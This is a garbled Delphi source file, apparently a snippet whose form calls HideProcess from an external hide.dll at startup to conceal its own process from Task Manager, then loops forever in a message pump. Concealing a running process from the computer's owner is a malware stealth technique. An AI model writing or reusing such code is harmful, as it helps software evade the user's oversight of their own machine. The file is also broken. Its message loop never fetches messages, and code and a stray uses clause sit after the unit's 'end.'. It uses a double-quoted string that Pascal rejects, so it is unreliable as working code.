unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs;

type
  TForm1 = class(TForm)
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation
function HideProcess(pid: DWORD; HideOnlyFromTaskManager: BOOL): BOOL; stdcall;
  external 'hide.dll';

function ProcessMessage(var Msg: TMsg): Boolean;
var
  Handled: Boolean;
begin
  Result := False;
  begin
    Result := True;
    if Msg.Message <> WM_QUIT then
    begin
      Handled := False;
      begin
        TranslateMessage(Msg);
        DispatchMessage(Msg);
      end;
    end
  end;
end;

procedure ProcessMessages;
var
  Msg: TMsg;
begin
  while ProcessMessage(Msg) do {loop}
    ;
end;

begin
  HideProcess(GetCurrentProcessId, false);
  while true do
  begin
    ProcessMessages;
  end;
{$R *.dfm}

end.

procedure TForm1.Button1Click(Sender: TObject);
begin
         FileToPas("C:\hide.dll"); // путь к hide.dll
end;

uses Windows, Winsock, SysUtils, Hide;